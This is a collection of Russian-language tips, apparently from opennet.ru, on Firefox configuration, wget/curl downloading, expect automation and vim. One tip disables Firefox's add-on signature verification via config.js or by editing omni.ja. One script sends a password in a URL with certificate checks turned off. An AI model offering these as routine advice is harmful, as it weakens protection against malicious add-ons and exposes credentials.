        sqlite3 имя_файла VACUUM
    
    например,
    
       sqlite3 places.sqlite VACUUM
    
    4. Опционально:
    Создаем скрипт: /bin/firefox_sql
    
       #!/bin/bash
       find ~/.mozilla/ -name "*.sqlite" |xargs -n1 -I '{}' sqlite3 {} VACUUM
       /usr/bin/firefox $1 $2 $3 $4 $5 $6 $7 $8 $9
    
    Настраиваем права:
    
       chmod +x /bin/firefox_sql
       chown root:root /bin/firefox_sql
    
    И заменяем в значках запуска firefox на /bin/firefox_sql. Теперь при запуске
    firefox все базы сжимаются.
    
    Способ 2, не требующий рестарта.
    
    Открываем Tools/Error Console, в строке ввода "Code" набираем (одной строкой):
    
       Components.classes["@mozilla.org/browser/nav-history-service;1"]
       .getService(Components.interfaces.nsPIPlacesDatabase).DBConnection.executeSimpleSQL("VACUUM");
    
    Жмем "Evaluate" и ждем несколько секунд до завершения операции
    
    Способ 3, установить дополнение Vacuum Places (https://addons.mozilla.org/en-US/firefox/addon/13824)
    
     
    ----* Решение проблем с DNS сервером при работе Firefox через Socks прокси   [комментарии]
     
    По умолчанию при включении работы Firefox через Socks прокси, DNS запросы
    продолжают обрабатываться
    локальным резолвером, что приводит к неработе преобразования имен в Firefox при
    отсутствии на машине
    иного выхода в сеть, кроме socks сервера.
    
    Решение: в настройках about:config следует поменять значение переменной network.proxy.socks_remote_dns
    с false на true, тогда DNS запросы начнут транслироваться через socks сервер.
    
    При нахождении в недоверительной сети, самый простой способ поднять socks
    туннель через внешний сервер:
    
       ssh -D 1080 логин@ip_сервера
    
    а затем настроить на локальной машине доступ через socks5 127.0.0.1:1080
    
     
    ----* Создание локального сервера обновлений для Firefox (доп. ссылка 1) (доп. ссылка 2)   Автор: Unghost  [комментарии]
     
    Инструкция, как поднять локальный сервер обновлений для Firefox.
    В наличии имелся сервер с Debian Lenny. На него был поставлен apache2 и libapache2-mod-php5
    
       sudo apt-get install apache2
       sudo apt-get install libapache2-mod-php5
    
    В файле /etc/apache2/sites-available/default директива AllowOverride None была
    изменена на AllowOverride FileInfo
    В каталоге /var/www был создан каталог
    /var/www/update/Firefox/3.0.10/win32/ru/release и туда положены файлы:
    
       root@db-fw:/var/www/update/Firefox/3.0.10/win32/ru/release# ls -la
       -rw-r--r-- 1 root root  2188005 2009-05-28 11:22 firefox-3.0.10-3.0.11.ru.win32.partial.mar
       -rw-r--r-- 1 root root 10189913 2009-05-28 11:25 firefox-3.0.11.ru.win32.complete.mar
       -rw-r--r-- 1 root root       59 2009-05-28 10:12 .htaccess
       -rw-r--r-- 1 root root      658 2009-05-28 11:20 update
       -rw-r--r-- 1 root root      650 2009-05-28 12:12 update.xml
    
    Файлы firefox-3.0.10-3.0.11.ru.win32.partial.mar и firefox-3.0.11.ru.win32.complete.mar 
    были взяты с ftp://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/3.0.11-candidates/build1/
    
    Файлы .htaccess и update были взяты с
    https://developer.mozilla.org/en/Setting_up_an_update_server без изменений.
    
    .htaccess:
    
       <FILES update>
          ForceType application/x-httpd-php
       </FILES>
    
    PHP скрипт update:
    
       <?php
       header("Content-type: text/xml");
    
       $url_array=explode("/",$_SERVER["REQUEST_URI"]);
       $noidea=$url_array[2];
       $product=$url_array[3];
       $version=$url_array[4];
       $build_id=$url_array[5];
       $build_target=$url_array[6];
       $locale=$url_array[7];
       $channel=$url_array[8];
       // filename is totally ignored
       $filename=$url_array[9];
       
       $updatefile = "update.dir/$noidea/$product/$version/$build_id/$build_target/$locale/$channel/$filename";
    
       if (file_exists($updatefile)) {
         $handle = fopen($updatefile, "r");
         $contents = fread($handle, filesize($updatefile));
         echo "$contents";
         fclose($handle);
       } else {
          echo '<?xml version="1.0"?>';
       ?>
       <updates></updates>
       <?
       }
    
       ?>
    
    
    Потом был создан файл update.xml:
    
       <?xml version="1.0"?>
       <updates>
       <update type="minor" version="3.0.11" extensionVersion="3.0.11" buildID="2009042316" 
         detailsURL="http://192.168.0.1/ru/firefox/3.0.11/releasenotes/">
       <patch type="complete" URL="http://192.168.0.1/update/Firefox/3.0.10/win32/ru/release/firefox-3.0.11.ru.win32.complete.mar"
         hashFunction="SHA1" hashValue="1a08be9c203da5fb20f632e970e23331bb21b995" size="10189913" />
       <patch type="partial" URL="http://192.168.0.1/update/Firefox/3.0.10/win32/ru/release/firefox-3.0.10-3.0.11.ru.win32.partial.mar"
         hashFunction="SHA1" hashValue="67683707609194c20188459da2ecfe9853122de4" size="2188005" />
       </update>
       </updates>
    
    Хэш функции были вычислены с помощью sha1sum.
    
    Потом я открыл русский Firefox 3.0.10 для Windows и создал строковый параметр
    app.update.url.override со значением
    http://192.168.0.1/update/Firefox/3.0.10/win32/ru/release/update.xml и проверил
    наличие обновлений.
    Firefox успешно нашёл обновление для 3.0.11 и успешно его применил.
    
     
    ----* Выделение непрочитанных табов в Firefox (доп. ссылка 1)   [комментарии]
     
    В  Firefox можно настроить выделение табов ни разу не прочитанных пользователем.
    Для этого в директории ~/.mozilla/firefox/*.default/chrome/ нужно переименовать 
    файл userChrome-example.css в userChrome.css, добавив в:
    
       #content tab:not([selected]) {font-style: italic !important; }
    
    После этого текст в заголовке всех непрочитанных табов будет выделяться курсивом.
    
     
    ----* 3 способа оптимизации работы Firefox (доп. ссылка 1)   [комментарии]
     
    1. Уменьшение потребления памяти.
    
    По умолчанию Firefox полностью кеширует в памяти 5 последних страниц открытых в текущей вкладке,
    что приводит к ощутимым затратам памяти. Для определения числа страниц для полного кеширования 
    в настройках "about:config" следует изменить значение переменной:
    
       browser.sessionhistory.max_total_viewer
    
    Запретить полное кеэширование отрендеренного образа прошлых страниц можно
    установив эту переменную в 0.
    
    2. Увеличение скорости загрузки страниц.
    
    Стандартно браузер в пределах одного соединения отправляет запросы последовательно, 
    включив поддержку "pipelining" в рамках одного запроса можно организовать смешанную 
    одновременную загрузку нескольких файлов, отправляя следующий запрос не
    дожидаясь выполнения предыдущего.
    "pipelining" может привести к ощутимому повышению нагрузки на сервер, поэтому использовать 
    данную возможность нужно умеренно.
    Управление "pipelining" в about:config осуществляется через переменные:
    
       network.http.pipelining - поставить true
       network.http.proxy.pipelining - поставить true
       network.http.pipelining.maxrequests - размер очереди параллельных запросов, например 5
    
    Некоторые другие настройки, ускоряющие загрузку страниц 
    (если переменная отсутствует ее нужно создать через New - Integer/String/Boolean):
    
       nglayout.initialpaint.delay = 0 (http://kb.mozillazine.org/Nglayout.initialpaint.delay)
       network.dns.disableIPv6 = false  (http://kb.mozillazine.org/Network.dns.disableIPv6)
       content.notify.backoffcount = 5 (http://kb.mozillazine.org/Content.notify.backoffcount)
       plugin.expose_full_path = true
       ui.submenuDelay = 0 (http://kb.mozillazine.org/About:config_entries)
    
    3. Уменьшение потребления памяти при минимизации Firefox в системном трее.
    Для выгрузки лишних данных из памяти во время минимизации окна (процесс будет
    занимать около 10Мб) в about:config
    создаем через правый клик - New переменную типа  Boolean с именем config.trim_on_minimize
    Для того чтобы изменение вступило в силу необходима перезагрузка.
    
     
    ----* Установка Adobe Flash 9 во FreeBSD 7.x (доп. ссылка 1)   [комментарии]
     
    Включаем режим совместимости с Linux и linprocfs.
    
    Добавляем в /etc/rc.conf
       linux_enable="YES" 
    
    В /etc/sysctl.conf
       compat.linux.osrelease=2.6.16
    
    В /etc/fstab:
       linproc /usr/compat/linux/proc linprocfs rw 0 0
    
    Выполняем команды:
       mkdir -p /usr/compat/linux/proc
       mount /usr/compat/linux/proc
       /etc/rc.d/abi start
       /etc/rc.d/sysctl start
    
    Устанавливаем Linux библиотеки, Flash плагин и nspluginwrapper из портов:
       cd /usr/ports/emulators/linux_base-f8 && make install clean
       cd /usr/ports/www/linux-flashplugin9 && make install clean
       cd /usr/ports/www/nspluginwrapper && make install clean
    
    Активируем плагин в nspluginwrapper:
       nspluginwrapper -v -a -i
    
       Auto-install plugins from /usr/X11R6/lib/browser_plugins
       Looking for plugins in /usr/X11R6/lib/browser_plugins
       Auto-install plugins from /usr/local/lib/npapi/linux-flashplugin
       Looking for plugins in /usr/local/lib/npapi/linux-flashplugin
       Install plugin /usr/local/lib/npapi/linux-flashplugin   /libflashplayer.so
       into /usr/local/lib/browser_plugins/npwrapper.libflashplayer.so
       Auto-install plugins from /root/.mozilla/plugins
       Looking for plugins in /root/.mozilla/plugins
    
    Перезапускаем Firefox 3 и проверяем активность плагина, введя в адресном поле about:plugins.
    
    Если Flash плагин не обнаружен, можно создать симлинк:
       ln -s /usr/local/lib/browser_plugins/npwrapper.libflashplayer.so \
       /usr/local/lib/firefox3/plugins/npwrapper.libflashplayer.so
    
    Ставим плагин FlashBlock (http://addons.mozilla.org/en-US/firefox/addon/433)
    или NoScript (http://addons.mozilla.org/en-US/firefox/addon/722).
    
     
    ----* Как вручную применить файл обновлений для Firefox   [комментарии]
     
    Иногда требуется вручную последовательно установить несколько пропущенных обновлений к Firefox.
    Делается это следующим образом.
    Загружаем "mar" архив с обновлением из директории update нужного релиза Firefox 
    с сайта ftp://ftp.mozilla.org/pub/firefox/releases
    
    Создаем директорию, допустим /tmp/update, копируем туда "mar" файл и переименовываем в update.mar
    
       mkdir /tmp/update
       wget ftp://ftp.mozilla.org/pub/firefox/releases/2.0.0.17/update/linux-i686/ru/firefox-2.0.0.16-2.0.0.17.partial.mar
       mv firefox-2.0.0.16-2.0.0.17.partial.mar update.mar
    
    Далее копируем программу updater из директории в которую установлен firefox,
    например /usr/local/firefox
    
       cp /usr/local/firefox/updater /tmp/update/
    
    Переходим в установочную директорию Firefox и запускаем updater, передав 
    в качестве параметра директорию в которой лежит update.mar
    
       cd /usr/local/firefox/
       /tmp/update/updater /tmp/update 0
    
    где вместо 0, можно указать PID запущенного в данное время firefox (если не запущен ставим 0)
    
    После выполнения программы смотрим образовавшиеся в директории /tmp/update логи, 
    если в файле update.status написано "succeeded", значит все обновилось нормально.
    
     
    ----* Добавление словаря (создание поискового плагина) в Firefox   Автор: Александр  [комментарии]
     
    Как известно, английский словарь должен быть одноязычным. Самый лучший из одноязычных 
    словарей - Longman (Longman Dictionary Of Contemporary English, http://www.ldoceonline.com/). 
    Хотя имеющаяся электронная версия работает и под linux (GTK 1.2),
    лучше сделать возможность поиска слов прямо в Firefox (добавить новый Search Engine). 
    
    Создайте каталог:
       ~/.mozilla/firefox/profile/searchplugins
    
    И в нём файл longman.xml со следующим содержимым:
    
       <SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/" xmlns:os="http://a9.com/-/spec/opensearch/1.1/">
       <os:ShortName>Longman Dictionary</os:ShortName>
       <os:Description>Longman Dictionary of Contemporary English Online</os:Description>
       <os:InputEncoding>iso-8859-1</os:InputEncoding>
       <SearchForm>http://www.ldoceonline.com/search/<;/SearchForm>
       <os:Url type="text/html" method="GET" 
          template="http://www.ldoceonline.com/search/?q={searchTerms}"/>
       </SearchPlugin>
    
    Перезапустите firefox и выберете в меню поисковиков Longman Dictionary. 
    Теперь вы всегда можете получить необходимое толкование слова, кликнув 
    средней кнопкой по увеличительному стеклу (словарь откроется в новом табе).
    
     
    ----* Использование wget для загрузки через сервис Sun Download Center (доп. ссылка 1)   [комментарии]
     
    Зайдите на Sun Download Center (SDLC - http://cds.sun.com) под вашим именем.
    Для загрузки из командной строки можно использвать нижепредставленный скрипт:
    
       ./wget_from_cds  username  'URL'  filename.ext
    
    где, 
       username - имя пользователя, под которым вы недавно зашли в SDLC, после запуска скрипта, нужно ввести пароль.
       URL - адрес загружаемого файла
       filename.ext - файл в который необходимо сохранить результат
    
    
    Скрипт http://wikis.sun.com/download/attachments/28448383/wget-from-cds_v1
    
    #! /bin/sh
    
    # wget user download-url filename
    
    if [ $# -ne 3 ]; then 
        echo "Usage: $0 user_name download_url file_name"
        echo "  user_name     Use your Sun Online Account Username"
        echo "  download_url  The download link from the SDLC Download Page.  Must be enclosed in single quotes ('http://cds.sun.com/...')"
        echo "  file_name     Save the download using this file name"
        exit 1
    fi
    
    user=$1
    dlurl=`echo $2 | sed -e 's/\?/%3f/g' -e 's/&/%26/g'`
    filename=$3
    
    stty -echo
    
    echo "Password for ${user}: \c"; read password;
    
    stty echo
    
    #echo $dlurl
    
    touch /tmp/wget-url-$$.txt
    chmod 600 /tmp/wget-url-$$.txt
    
    echo
    "https://identity.sun.com/amserver/UI/Login?program=cds&org=self_registered_users&IDToken1=${user}&IDToken2=${password}&goto=${dlurl}" >>
     /tmp/wget-url-$$.txt
    
    wget  --no-check-certificate --keep-session-cookies  -O "${filename}" -i /tmp/wget-url-$$.txt
    
    rm /tmp/wget-url-$$.txt
    
     
    ----* Малоизвестные новые возможности Firefox 3 (доп. ссылка 1)   Автор: mozillalinks.org  [комментарии]
     
    1. Дублирование табов. Если нажать Ctrl в процессе перетаскивания таба, то его содержимое будет продублировано в новом табе;
    2. Перетаскивание табов между окнами.
    3. Изменение размера строки поиска, когда она размещена на одной линии со строкой ввода адреса. Достаточно подвести курсор мыши к разделителю между полями и можно будет изменить ширину;
    4. Поиск по ключевым словам. В меню поиска нажмите на "Управление поисковыми плагинами/Manage Search Engine" и выберите "Изменить/Edit Keyword" для заданной поисковой системы. Далее можно ввести краткое имя (Keyword), набрав которое после произвольного набора слов в строке адреса, будет осуществлен поиск через задуманную поисковую систему.
    5. Прерывистое выделение блоков текста. Отметив текст мышью, можно нажать Ctrl и продолжить выделение в другой части документа;
    6. В браузер интегрировано средство для поиска дополнений на странице addons.mozilla.org (меню Дополнения/Поиск дополнения);
    7. Возможность временного отключения плагинов (например, Flash) через менеджер дополнений;
    8. Набрав about:crashes можно просмотреть историю крахов браузера, по которым разработчикам были отправлены уведомления о проблемах.
     
    ----* Установка Firefox 3 в Debian Etch и дистрибутивах со старой версией GTK+ (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [обсудить]
     
    Официальная сборка Firefox 3 требует GTK+2.10, в то время как в Debian Etch только 2.8.
    Нужную версию gtk можно установить из бэкпортов:
    
    Разархивируем firefox 3 в директорию /opt/firefox3
    
    Загружаем http://apt.linex.org/linex/gtk-2.10/libgtk2.0-0_2.10.13-2%7Ebpo.1_i386.deb
    
    Ставим libgtk 2.10 в директорию gtk2-10:
       dpkg-deb -x libgtk2.0-0_2.10.13-2~bpo.1_i386.deb gtk2-10
    
    Перемещаем содержимое gtk2-10 в /opt/firefox3
    
    В начало скрипта /opt/firefox3/firefox дописываем:
    
       export LD_LIBRARY_PATH=" /opt/firefox3/gtk2-10/usr/lib"
    
    Для других дистрибутивов, при отсутствии бэкпорта, можно собрать gtk+ 2.10 из исходных текстов:
    
       cd /usr/local/src
       wget http://ftp.gnome.org/pub/GNOME/sources/gtk+/2.10/gtk+-2.10.14.tar.bz2
       tar xjf gtk+-2.10.14.tar.bz2
       mkdir gtk210
       cd gtk+-2.10.14
       ./configure --prefix=/opt/firefox3/gtk2-10
       make
       make install
    
     
    ----* Увеличение скорости работы со шрифтами в firefox/seamonkey   Автор: Sokolov Alexey  [комментарии]
     
    Чтобы браузер firefox/seamonkey работал со шрифтами на порядок быстрее,
    перед запуском браузера поменяйте значение переменной MOZ_DISABLE_PANGO на 1. 
    
    Выглядеть все должно приблизительно так: 
    
       %export MOZ_DISABLE_PANGO=1; firefox (для bash/zsh) 
       %setenv MOZ_DISABLE_PANGO 1; firefox (для csh-подобных) 
    
    Либо в /etc/profile, чтобы каждый раз не менять.
    
     
    ----* Ускоряем загрузку больших файлов из интернета. (доп. ссылка 1)   Автор: openkazan.info  [комментарии]
     
    Задача - скачать ISO образ линукса за короткое время. 
    Самое простое это:
       wget ftp://ftp.rediris.es/sites/releases.ubuntu.com/releases/feisty/ubuntu-7.04-desktop-i386.iso
    
    Но на зеркалах стоят лимиты на ширину канала для каждого подключения,
    а так как нам важно время, мы будем использовать несколько зеркал одноврменно.
    
    В первую очередь устанавливаем программу CURL:
    
       sudo  apt-get install curl
    
    Далее, ISO образ имеет объём 700Мб. Мысленно режем его на несколько частей по
    100Мб и выбираем 4 зеркала с этим образом.
    
    создаём файл ubuntu.sh:
    
       vim ubuntu.sh
    
    в него вписываем:
    
       #!/bin/sh
    
       url1=http://ubuntu.intergenia.de/releases/feisty/ubuntu-7.04-desktop-i386.iso
       url2=http://ubuntu.virginmedia.com/releases/7.04/ubuntu-7.04-desktop-i386.iso
       url3=http://es.releases.ubuntu.com/7.04/ubuntu-7.04-desktop-i386.iso
       url4=http://ftp-mirror.internap.com/pub/ubuntu-releases/7.04/ubuntu-7.04-desktop-i386.iso
    
       curl --range 0-199999999 -o ubuntu-iso.part1 $url1 &
       curl --range 200000000-399999999 -o ubuntu-iso.part2 $url2 &
       curl --range 400000000-599999999 -o ubuntu-iso.part3 $url3 &
       curl --range 600000000- -o ubuntu-iso.part4 $url4 &
    
    url1, url2, url3, url4 - переменные содержащие в себе ссылки на iso образ на разных зеркалах. 
    
    аргумен --range указывает с какого по какой байт надо скачать. --range
    600000000- указывает что надо скачать
    начиная с 600000000 и до конца.
    ubuntu-iso.part1 и т.д. - названия файлов под которыми будут сохранены скачанные части iso образа
    
    
    делаем скрипт исполняемым:
    
    $chmod u+x ubuntu.sh
    
    и запускаем его:
    
    $./ubuntu.sh
    
    в конечном итоге получаем 4 файла:
    
    ubuntu-iso.part1 ubuntu-iso.part2 ubuntu-iso.part3 ubuntu-iso.part4
    
    
    склеиваем их в один iso образ:
    
    cat ubuntu-iso.part? > ubuntu-7.04-desktop-i386.iso
    
    Получили готовый образ системы за относительно короткое время.
    
     
    ----* Использование 32-битных плагинов с 64-битной сборкой Firefox (доп. ссылка 1)   [комментарии]
     
    Устанавливаем nspluginwrapper http://gwenole.beauchesne.info/projects/nspluginwrapper/
    
    Подключаем 32-битную сборку Flash плагина:
       nspluginwrapper -i /usr/lib/mozilla/plugins/libflashplayer.so
    
    Отключаем Flash плагин:
       nspluginwrapper -r /usr/lib64/mozilla/plugins/npwrapper.libflashplayer.so
    
     
    ----* Установка Macromedia Flash 7 плагина под Firefox для FreeBSD. (доп. ссылка 1)   Автор: jail.se  [комментарии]
     
    Для использования Linux версии  Flash плагина с Firefox собранным под FreeBSD 
    (с linux-firefox под FreeBSD работает без проблем):
    
    cd /usr/src/libexec/rtld-elf
    fetch http://www.jail.se/freebsd/rtld_dlsym_hack.diff
    patch < rtld_dlsym_hack.diff
    make clean all install
    portinstall linux-flashplugin7 linuxthreads linuxpluginwrapper
    
    cd /usr/X11R6/lib/browser_plugins
    rm libflashplayer.so flashplayer.xpt
    ln -s ../linux-flashplugin7/flashplayer.xpt
    ln -s ../linux-flashplugin7/libflashplayer.so
    В /etc/libmap.conf добавляем (http://www.jail.se/freebsd/libmap.conf):
    
       [/usr/X11R6/lib/linux-flashplugin7/libflashplayer.so]
       libpthread.so.0                 pluginwrapper/flash7.so
       libdl.so.2                      pluginwrapper/flash7.so
       libz.so.1                       libz.so.3
       libstdc++-libc6.2-2.so.3        libstdc++.so.4
       libm.so.6                       libm.so.4
       libc.so.6                       pluginwrapper/flash7.so
    
     
    ----* Как заставить открывать ссылки из thunderbird в firefox   Автор: polkan  [комментарии]
     
    Создаем (редактируем) файл user.js в ~/.thunderbird/<li><li class=l>.default/
    добавляем строки
    
      user_pref("network.protocol-handler.app.http", "firefox");
      user_pref("network.protocol-handler.app.https", "firefox");
    
     
    ----* expect для автоматизации операций требующих ручного ввода   [комментарии]
     
    #!/usr/bin/expect -f # Забор файла по FTP
    spawn ftp ftp.test.ru
    expect  "Name*:" { send "ftp\n"}
    expect  "Password:" { send "ftp@\n"}
    expect "ftp>" {send "bin\n"}
    expect "ftp>" {send "prompt no\n"}
    expect "ftp>" {send "cd /pub/store\n"}
    expect "ftp>" {send "get arc.tar.gz\n"}
    expect "ftp>" {send "exit\n"}
    
    #!/usr/bin/expect -f # Выполнение операции используя telnet
    spawn telnet cisco.test.ru
    expect  "login:" { send "adm\n"}
    expect  "Password:" { send "пароль\n"}
    expect "#" {send "show users\n"}
    expect "#" {send "exit\n"}
    
     
    ----* Как из командной строки открыть новое окно Mozilla или Galeon   [обсудить]
     
    Mozilla:
      Открыть URL в окне: mozilla -remote "openurl(URL)"
      Открыть файл в окне: mozilla -remote "openFile(путь)"
      Можно указать: openURL (URL, new-window), openURL (URL, new-tab)
      Проверка запущен ли браузер: mozilla -remote "ping()"
    Galeon:
      Открыть в новом листе: galeon-bin --new-tab URL
      Открыть в новом окне: galeon-bin --new-window URL
    
     
    ----* Примеры использования wget и curl для копирования web-контента   [комментарии]
     
    Копирум ftp.test.ru, за исключением директории /pub/mp3 и помещаем результат в /tmp/test
        wget -m -P/tmp/test -nH ftp://ftp.test.ru/pub/ -X /pub/mp3
    
    Скачиваем файл test.gif со скоростью 10 Кб/с и сохраняем его на локальном диске:
       wget --quiet -O - --timeout=20 --limit-rate 10k http://test.ru/test.gif > /tmp/test.gif
       curl http://test.ru/test.gif --max-time 20 -s -o test.gif
    
    Рекурсивно скачиваем в директорию test_site:
        wget -r --no-parent -P ./test_site http://test.ru/arc/
    
    Доп. опции wget:
      "-O N" - куда выводить результат, "-" - стандартный вывод;
      "-l N" - уровень вложенности;
      "-r" - рекурсивный запрос.
      "--no-parent" - не выходить за пределы родительского каталога;
      "--quota N" - сограничить общий объем выкачиваемого в байтах (можно m и k);
      "--limit-rate N" - ограничить скорость в байт/сек. (10k - 10кб/сек);
      "--referer=URL" - подставить свой referer.
    
     
    ----* Советы по работе с curl - мощным инструментом для автоматизации web-запросов   [обсудить]
     
    Маски запроса:
       http://test.ru/file[1-100].html  # Скачать файлы 1.html, 2.html...100.html (можно [a-z])
       http://test.ru/file{one,two}.html  # Скачать one.html, two.html
           curl http://test.ru/file[1-10].html -o "site1_f_#1.html"
    Только проверка HTTP заголовков (HEAD запрос): curl -I http://test.ru
    Докачка оборванного трансфера: curl -C - http://test.ru/file.tgz
    Представляемся браузером:
       curl --user-agent "Mozilla 1.1" --cookie "session=123;user=guest" --referer "http://test2.ru/" \
       --header "Charset: koi8-r" --user user:password
    Таймауты, лимиты и proxy:
       curl --connect-timeout=60 --interface eth1 --limit-rate 5K --max-time 60 --silent --proxy proxy.t.ru:3128
    
     
    ----* Как оптимизировать производительность Mozilla и Galeon (доп. ссылка 1)   [обсудить]
     
    Mozilla:
      echo 'user_pref("nglayout.initialpaint.delay", 0);' >> ~/.mozilla/имя_пользователя/*.slt/prefs.js
      chmod -w ~/.mozilla/имя_пользователя/*.slt/prefs.js
    Для Galeon путь ~/.galeon/mozilla/galeon/prefs.js
      
    
     
    ----* Установка в мобильной версии Firefox любого расширения от десктоп-версии   Автор: Каримуллин Артур  [комментарии]
     
    Установка любого десктопного расширения Firefox в мобильную версию браузера для
    Android и его производные.
    
    
    1. Ставим браузер на Android, в моём случаие это Fennec.
    
    2. Идём в "Настройки -> О Fennec". Кликаем быстро несколько раз по логотипу.
    Тем самым включаем режим отладки.
    
    3. Идём на https://addons.mozilla.org/ru/firefox
    
      - Создаём/Входим в аккаунт.
    
      - Нажимаем на свой профиль и выбираем "Создать подборку".
    
      - Добавляем туда те расширения, которые хотим поставить.
    
      - Берём id коллекции.
    
    Если что-то не нашли, гляньте здесь.
    
    4. Возвращаемся в настройки:
    
      - Ищем пункт "Собственный сборник дополнений".
    
      - Вводим id и название коллекции.
    
    5. Переходим в раздел "Расширения":
    
     - Видим наши расширения из коллекции, устанавливаем.
     - Profit!
    
    
    Для примера поставим расширение LibRedirect, которое
    перенаправляет нас на альтернативные фронтенды мэйнстримовых
    сервисов. Они более функциональные и лёгкие. К примеру Invidius (альтернативный
     фронтенд ютуба) умеет скачивать видео, а LibReddit имеет внятный интерфейс
    пользователя. Можно использовать готовые коллекции дополнений от других
    пользователей, например, коллекцию от автора заметки.
    
    Проделал шаги с 1 по 3, получил id - 17671691
    
    Устанавливаем, тестируем: https://www.opennet.ru/soft/with_lr.gif
    
    Для сравнения без: https://www.opennet.ru/soft/without_lr.gif
    
    Конечно, не все расширения будут работать корректно, иначе они официально были
    бы включены в список поддерживаемых, но как в нашем случае есть штуки, которые
    работает как родные. В целом, экспериментируете.
    
    
    © CC-BY Каримуллин Артур, 2023
    
     
    ----* Обход ограничения по выполнению только подписанных дополнений в Firefox (доп. ссылка 1)   [комментарии]
     
    Начиная с Firefox 48 введена обязательная и неотключаемая через
    "xpinstall.signatures.required" в about:config проверка дополнений по цифровой
    подписи. При необходимости установки неподписанных дополнений пока остаётся
    несколько лазеек.
    
    Ниже представлен способ, основанный на чистке списка объектов к которым
    применяется проверка по цифровой подписи, т.е. в файле
    gre/modules/addons/XPIProvider.jsm удаляется содержимое структуры SIGNED_TYPES.
    
    Создаём файл config.js со следующим содержимым:
    
       //
       try {
       Components.utils.import("resource://gre/modules/addons/XPIProvider.jsm", {})
       .eval("SIGNED_TYPES.clear()");
       }
       catch(ex) {}
    
    Переносим данный  файл в директорию установки Firefox, например, в
    /usr/lib/firefox-* или /usr/lib64/firefox-*.
    
    Создаём файл config-prefs.js и копируем его в директорию с текущим активным
    профилем, например, ~/.mozilla/firefox/*.default:
    
       pref("general.config.obscure_value", 0);
       pref("general.config.filename", "config.js");
    
    Перезапускаем Firefox.
    
    
    В качестве альтернативного метода можно извлечь из zip-архива omni.ja (в
    корне установки firefox) файлы modules/AppConstants.jsm  и
    modules/addons/AddonConstants.jsm, заменить в них значение переменных
    MOZ_REQUIRE_SIGNING и REQUIRE_SIGNING с true на false, скопировать данные файлы
    как jsloader/resource/gre/modules/AppConstants.jsm и
    jsloader/resource/gre/modules/addons/AddonConstants.jsm, после чего воссоздать
    архив omni.ja с внесёнными изменениями.
    
     

       Редактирование текстов

    ----* Полезные мелочи при работе в vim (доп. ссылка 1)   [комментарии]
     
    - Редактирование файла на другой машине по сети: vim scp://user@host.ru:/home/user/file
    - Поиск слова как под курсором: "*" - вперед, "#" - назад.
    - Поиск парных скобок - "%".
    - Автодополнение недописанных слов: Ctrl-N
    - Замена регистра букв в линии: "guu", "gUU"
    - Переход на строку (позицию) где было последнее изменение: "'." ("`.")
    - Трассировка пути курсора по файлу: Ctrl-O, Ctrl-I.
    - Выделение в визуальном режиме:
      v - начало блока (V линия, Ctrl-V - вертикальный блок), выделив блок нажать d или y (удалить, скопировать).
    
     
    ----* Как в vi заменить одно слово на другое по всему тексту   [комментарии]
     
    :0,$s/старое/новое/g
    или :%s/старое/новое/g
    
     
    ----* Восстановление позиции курсора при повторном открытии файла в Vim (доп. ссылка 1)   Автор: Конищев Дмитрий  [комментарии]
     
    Для того, чтобы vim при повторном открытии файла восстанавливал позицию курсора
    на которой файл был закрыт в прошлый раз в ~/.vimrc следует добавить:
    
        set viewoptions=cursor,folds
        au BufWinLeave * mkview
        au BufWinEnter * silent loadview
    
    Другой вариант, оставить по умолчанию установки курсора на первой строке, а при
    необходимости осуществлять руками переход на метку последней открытой позиции,
    введя команду '".
    
     
    ----* Отображение табуляций и выхода строки за границы 80 символов в vim (доп. ссылка 1) (доп. ссылка 2)   Автор: jetxee  [комментарии]
     
    Большинство программистов согласятся, что строчки кода должны быть короче 80
    символов. Часто это просто хороший тон:
    читаем Linux Kernel Coding Style (80) , Style Guide for Python code (79), Good Haskell Style (79), 
    Ruby Coding Conventions (80), Google C++ Style Guide (80)...
    
    Практический вопрос: а как в Vim увидеть, что строка стала длиннее 80 символов?
    Это может быть очень полезно,
    если ширина окна больше 80. Простой и дубовый способ: 80| и курсор перемещается на 80-ю колонку. 
    
    Проверять так каждую строку или включить автоматический перенос (set tw=80) не всегда удобно.
    
    Более элегантный выход - подсвечивать всё, что вылазит за 80-ю колонку. Ниже несколько рецептов.
    
    Включить подсветку вручную:
    
       :match ErrorMsg '\%>80v.\+'
    
    Чтобы включать подсветку автоматически, каждый раз при открытии буфера, в ~/.vimrc помещаем:
    
       :au BufWinEnter * let w:m1=matchadd('Search', '\%<81v.\%>77v', -1)
       :au BufWinEnter * let w:m2=matchadd('ErrorMsg', '\%>80v.\+', -1)
    
    Должно работать в Vim после 7.1.40. При этом последние 4 символа до 80-й
    колонки будут предупреждающе
    подсвечиваться "поиском", а все, что после 80-й - "ошибкой". 
    
    Подвечивать только 81-ый символ и кривые пробелы/табы:
    
       :match BadFormat /\s\+$\|\ \+\t\| \{8,}\|\%81v/
    
    
    Другая проблема для исходного кода - концевые пробелы (trailing whitespace) и
    смешанные с пробелами табуляции.
    Для их подсветки в ~/.vimrc можно добавить:
    
       " highlight trailing spaces
       au BufNewFile,BufRead * let b:mtrailingws=matchadd('ErrorMsg', '\s\+$', -1)
       " highlight tabs between spaces
       au BufNewFile,BufRead * let b:mtabbeforesp=matchadd('ErrorMsg', '\v(\t+)\ze( +)', -1)
       au BufNewFile,BufRead * let b:mtabaftersp=matchadd('ErrorMsg', '\v( +)\zs(\t+)', -1)
    
    Первое включает подсветку любых пробелов на конце строки. 
    Второе и третье подсвечивают табуляции, перед которыми или после которых есть пробелы. 
    Вместо "*" можно явно прописать типы файлов, для которых это должно работать.
    
     
    ----* Многооконный режим редактирования файлов в Vim (доп. ссылка 1)   Автор: cyberciti.biz  [комментарии]
     
    Открытие двух или трех файлов в разных окнах vim.
    
    С горизонтальной разбивкой окон на экране:
       vim -o /etc/passwd /etc/hosts
       vim -o /etc/passwd -o /etc/group /etc/hosts
    
    С вертикальной разбивкой окон на экране:
       vim -O /etc/passwd /etc/hosts
       vim -O /etc/passwd -O /etc/group /etc/hosts
    
    Наглядный просмотр отличий нескольких файлов
       vim -d файл1 файл2
       vim -d файл1 -d файл2 файл3
    
    Команды переключения между окнами:
    "CTRL-w w" - быстрое переключение на следующее окно
    "CTRL-w влево" - активация левого окна
    "CTRL-w вправо" - активация правого окна
    "CTRL-w вверх" - активация верхнего окна
    "CTRL-w вниз" - активация нижнего окна
    "CTRL-w n" - создать новое окно (":new файл" - открыть заданный файл)
